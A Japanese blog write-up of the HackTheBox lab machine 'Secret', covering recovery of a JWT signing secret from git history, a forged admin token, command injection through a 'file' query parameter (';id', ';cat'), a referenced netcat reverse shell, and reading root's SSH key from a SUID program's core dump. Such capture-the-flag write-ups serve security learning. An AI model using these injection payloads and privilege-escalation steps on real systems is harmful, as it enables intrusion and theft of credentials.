🍏

【HackTheBox】Secret Writeup

2023/05/17に公開

Enumeration

nmap

┌──(kali㉿kali)-[~]
└─$ nmap -sVC -T4 -p- -Pn -open 10.10.11.120
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-13 09:13 EDT
Nmap scan report for 10.10.11.120
Host is up (0.16s latency).
Not shown: 63947 closed tcp ports (conn-refused), 1585 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; 
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ssh、ウェブサイト、express middlewareがありました。ウェブサイトから確認していきます。

Website Enumeration

サイトの内容は何かのAPIのドキュメントでした。JWT(JSON web token)とMongoDBが使われていることが書いてありました。APIはport 3000で動いています。

ドキュメントから確認できるAPIの機能は下記の通りです。

  • ユーザー登録 POST http://localhost:3000/api/user/register
  • ログイン POST http://localhost:3000/api/user/login(成功するとJWTが返ってくる)
  • ユーザー権限確認 GET http://localhost:3000/api/priv

ソースコードのダウンロードもできます。

Source Code Analysis

ダウンロードしたコードを確認します。

express.jsで書かれていたAPIです。MERN/MEAN stack触ったことがあるならすぐ理解できると思います。/routesから全ての機能を確認できます。
気になった点を記録していきます。

1. ドキュメントになかった/api/logs route

/local-web/routes/private.js(一部)
router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name = userinfo.name.name;
    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =>{
            if(err){
                res.status(500).send(err);
                return
            }
            res.json(output);
        })
    }

exec()に文字列をそのまま渡しているので、command injectionができるかもしれません。また、theadminしかlogsを確認することができない。

2. admin権限を持つアカウントのusername

local-web/routes/private.js
router.get('/priv', verifytoken, (req, res) => {
    const userinfo = { name: req.user }
    const name = userinfo.name.name;
    if (name == 'theadmin'){
        res.json({
            creds:{
                role:"admin", 
                username:"theadmin",
                desc : "welcome back admin,"
            }
        })
    }
// ...[snip]...
})

theadminというユーザーはadmin権限を持っている。

3.既存ユーザーのemail
/api/user/registerで、name=dasith, email=root@dasith.worksでユーザー登録を試したら、email already existのレスポンスが返ってきたので、DBにはこのメールアドレスが入っています。

4. JWTをsignするロジック

local-web/routes/auth.js
// login 
router.post('/login', async  (req , res) => {
    const { error } = loginValidation(req.body)
    if (error) return res.status(400).send(error.details[0].message);

    //...[snip]...

    // create jwt 
    const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
    res.header('auth-token', token).send(token);
})

name、email、.envの中のTOKEN_SECRETがわかれば有効なJWTを発行して認証できます。

5. .envの中身

DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret

jwt.sign()に使われるTOKEN_SECRETの値はsecretです。しかし、secretでJWTを作って/api/privにリクエストしてみたらaccess deniedが出ました。有効なSECRETを探さないといけません。

6. 過去のcommit

┌──(kali㉿kali)-[~/Downloads/local-web]
└─$ git log                                          
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <dasithsv@gmail.com>
Date:   Thu Sep 9 00:03:27 2021 +0530

    now we can view logs from server 😃

commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

removed .env for security reasonsのメッセージから、削除する前の.envにsensitive informationが入っていたことを推測できます。
git showでfirst commitの時の.envを見てみます。

+++ b/.env
@@ -0,0 +1,2 @@
+DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
+TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

本当のTOKEN_SECRETが見つかりました。これでJWT tokenを作ります。

Craft admin JWT

debuggerでJWTを作ります。https://jwt.io/#debugger-io

このトークンをheaderに入れて、/api/logs?file=;にリクエストを投げてみます。

レスポンスに過去のコミットメッセージが入っていました。このJWTを使えばadmin権限でAPIを叩くことができます。

Foothold

Command Injection & User Flag

/api/logs?file=;idを試します。

curl 'http://10.10.11.120:3000/api/logs?file=;id' --header 'authzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NDVmOGYxMzE2ZTM0YzA0NjAyZTdhOGQiW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjgzOTg2ODM4fQ.iFtuL2y6jkRFk7di5Aovfs'
"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃odes\nuid=1000(dasith) gid=1000(dasith) groups=1000(dasith)\n" 

Command injectionが成功しました。また、dasithというユーザーとしてコマンドを実行していることが確認できました。このままuser.txtをreadします。

curl 'http://10.10.11.120:3000/api/logs?file=;cat+../user.txt' --header 'xxx'

これでuserフラグゲットです。次はreverse shellも取ります。

Reverse Shell as Dasith

payloadはreverse shell generatorのnc mkfifoのURL encodeしたものを使いました。https://www.revshells.com/

他のpayloadをURL encode/base64 encodeしていろいろ試しましたが、なぜかうまくできなくて最後はこれでいけました。

Privilege Escalation

Linpeas

enumerationでいいヒントが見つからなかったのでLinpeasを実行してみました。
出力される情報量が多いですが、とりあえずハイライトされたものを確認します。

                      ╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════                             
                      ╚════════════════════════════════════╝                                                   
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid    
...
-rwsr-xr-x 1 root root 18K Oct  7  2021 /opt/count (Unknown SUID binary!)
...

/opt/を確認すると、code.cがありました。これはcountのソースコードっぽいです。

$ ls -la
total 56
drwxr-xr-x  2 root root  4096 Oct  7  2021 .
drwxr-xr-x 20 root root  4096 Oct  7  2021 ..
-rw-r--r--  1 root root  3736 Oct  7  2021 code.c
-rw-r--r--  1 root root 16384 Oct  7  2021 .code.c.swp
-rwsr-xr-x  1 root root 17824 Oct  7  2021 count
-rw-r--r--  1 root root  4622 Oct  7  2021 valgrind.log

Source Code Analysis

countを実行してみます。ファイルかディレクトリのパスをインプットすると、情報を出力する、ファイルに保存することができるプログラムです。

  • ディレクトリのパス:中身とその権限の一覧&ファイル、ディレクトリのカウントが出力される
  • ファイルのパス:word count, line countが出力される
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: 

ソースコードを見てみます。

code.c(一部)
#include <stdio.h>
#include <stdlib.h>          
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>

int main()
{
    char path[100];
    int res;
    struct stat path_s;
    char summary[4096];

    printf("Enter source file/directory name: ");
    scanf("%99s", path);
    getchar();
    stat(path, &path_s);
    if(S_ISDIR(path_s.st_mode))
        dircount(path, summary);
    else
        filecount(path, summary);

    // drop privs to limit file write
    setuid(getuid());
    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf("Save results a file? [y/N]: ");
    res = getchar();
    if (res == 121 || res == 89) {
        printf("Path: ");
        scanf("%99s", path);
        FILE *fp = fopen(path, "a");
        if (fp != NULL) {
            fputs(summary, fp);
            fclose(fp);
        } else {
            printf("Could not open %s for writing\n", path);
        }
    }

    return 0;
}

// Enable coredump generationというコメントがありました。
実行中のプログラムをkillするとcoredumpが作られるので、crash fileを解析するとメモリーのスナップショットからroot.txtの中身が見つかるかもしれません。

countを実行して、そのプロセスを見つけてkillします。/var/crashにcrashファイルが作られました。

dasith@secret:/opt$ ./count
Enter source file/directory name: /root/root.txt

Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: 
dasith@secret:~/local-web$ ps -a
ps -a
    PID TTY          TIME CMD
   1473 pts/0    00:00:00 count
   1486 pts/1    00:00:00 ps

dasith@secret:~/local-web$ kill -6 1473
kill -6 1473

dasith@secret:/$ ls -la /var/crash
ls -la /var/crash
total 40
drwxrwxrwt  3 root   root    4096 May 17 06:25 .
drwxr-xr-x 14 root   root    4096 Aug 13  2021 ..
-rw-r-----  1 dasith dasith 28128 May 17 04:44 _opt_count.1000.crash

Inspect Crash File & Root Flag

apport-unpackでcrashファイルを展開して中身を確認します。https://askubuntu.com/questions/434431/how-can-i-read-a-crash-file-from-var-crash

dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash ./unpacked
apport-unpack _opt_count.1000.crash ./unpacked

dasith@secret:/var/crash$ cd unpacked
cd unpacked

dasith@secret:/var/crash/unpacked$ ls
ls
Architecture  DistroRelease        ProblemType  ProcEnviron  Signal
CoreDump      ExecutablePath       ProcCmdline  ProcMaps     Uname
Date          ExecutableTimestamp  ProcCwd      ProcStatus   UserGroups

stringsで可読部分を確認するとrootフラグがありました。

dasith@secret:/var/crash/unpacked$ strings CoreDump
strings CoreDump
CORE
CORE
count
...[snip]...
Save results a file? [y/N]: words      = 2
Total lines      = 2
/root/root.txt
1bxxxxxxxxxxxxxxxxxxxxxxxx8c
aliases

Shell as Root

coredumpから任意のファイルをreadすることができます。
rootのsshキーが分かればroot shell取れますので、/root/root.txt/root/.ssh/id_rsaに書き換えて、同じ流れでキーをreadします。
キーを新しいファイルに保存、権限を設定してsshログインするとroot shellゲットです。

┌──(kali㉿kali)-[~]
└─$ chmod 600 secretrootkey
                                                                               
┌──(kali㉿kali)-[~]
└─$ ls -la secretrootkey   
-rw------- 1 kali kali 2602 May 17 04:26 secretrootkey
                                                                               
┌──(kali㉿kali)-[~]
└─$ ssh root@10.10.11.120 -i secretrootkey
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 17 May 2023 08:28:55 AM UTC

  System load:           0.1
  Usage of /:            52.7% of 8.79GB
  Memory usage:          9%
  Swap usage:            0%
  Processes:             233
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.120
  IPv6 address for eth0: dead:beef::250:56ff:feb9:e451

0 updates can be applied immediately.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Oct 26 15:13:55 2021
root@secret:~# ls /root
root.txt  snap

memo

priv escが難しかった、、

Discussion